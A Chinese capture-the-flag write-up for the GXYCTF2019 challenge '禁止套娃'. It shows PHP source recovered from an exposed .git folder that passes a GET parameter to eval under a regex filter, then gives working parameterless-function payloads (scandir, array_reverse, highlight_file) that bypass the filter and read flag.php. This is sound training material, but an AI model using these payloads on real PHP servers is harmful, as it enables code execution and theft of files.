当前位置: 首页 > news >正文

[GXYCTF2019]禁止套娃1

打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>
使用了正则表达式来过滤

[a-z,_]+匹配一个或多个字母、下划线或逗号

(匹配开括号

(?R)?匹配嵌套的正则表达式本身,?表示0或1次

)匹配闭括号

括号内无参数

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

var_dump(localeconv());
结果如下
array(18) 

["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}
咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
结果如下:string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
 

相关文章:

  • 5.JAVA-流程控制
  • Spring Boot获取Bean的三种方式
  • 全网首发!鸿蒙OS登上PC,冒风险流出内测,系统界面截图,过会儿就删
  • AMD Product Specifications - AMD 产品规格汇总
  • gitee拉取项目,提交代码
  • 力扣493.翻转对
  • RocketMQ5.0课笔记-架构设计
  • 软件设计之HTML5
  • 本地部署MySQL图形化管理工具phpMyAdmin结合内网穿透远程访问
  • 自定义 SpringBoot starter
  • 文件操作和IO
  • 构建深度学习驱动的多目标检测系统:YOLO模型及应用
  • 高并发内存池
  • Jupyter Notebook 常用快捷键和魔法命令
  • vue中子传父之间通信(this.$emit触发父组件方法和.sync修饰符与$emit(update:xxx))
  • python3.6+scrapy+mysql 爬虫实战
  • 【React系列】如何构建React应用程序
  • Golang-长连接-状态推送
  • javascript从右向左截取指定位数字符的3种方法
  • Java超时控制的实现
  • jQuery(一)
  • Laravel 中的一个后期静态绑定
  • leetcode386. Lexicographical Numbers
  • Spark VS Hadoop:两大大数据分析系统深度解读
  • Spring Security中异常上抛机制及对于转型处理的一些感悟
  • windows下mongoDB的环境配置
  • 关于springcloud Gateway中的限流
  • 马上搞懂 GeoJSON
  • 前端工程化(Gulp、Webpack)-webpack
  • 时间复杂度与空间复杂度分析
  • 学习ES6 变量的解构赋值
  • 在Mac OS X上安装 Ruby运行环境
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • # 利刃出鞘_Tomcat 核心原理解析(七)
  • #HarmonyOS:基础语法
  • #if和#ifdef区别
  • #pragma预处理命令
  • #QT(智能家居界面-界面切换)
  • #我与Java虚拟机的故事#连载02:“小蓝”陪伴的日日夜夜
  • #我与Java虚拟机的故事#连载08:书读百遍其义自见
  • #我与Java虚拟机的故事#连载11: JVM学习之路
  • $nextTick的使用场景介绍
  • (arch)linux 转换文件编码格式
  • (cos^2 X)的定积分,求积分 ∫sin^2(x) dx
  • (SpringBoot)第七章:SpringBoot日志文件
  • (windows2012共享文件夹和防火墙设置
  • (分布式缓存)Redis分片集群
  • (分享)自己整理的一些简单awk实用语句
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (已解决)vue+element-ui实现个人中心,仿照原神
  • (转)MVC3 类型“System.Web.Mvc.ModelClientValidationRule”同时存在
  • (转)大型网站架构演变和知识体系
  • (转)重识new
  • (转载)深入super,看Python如何解决钻石继承难题
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...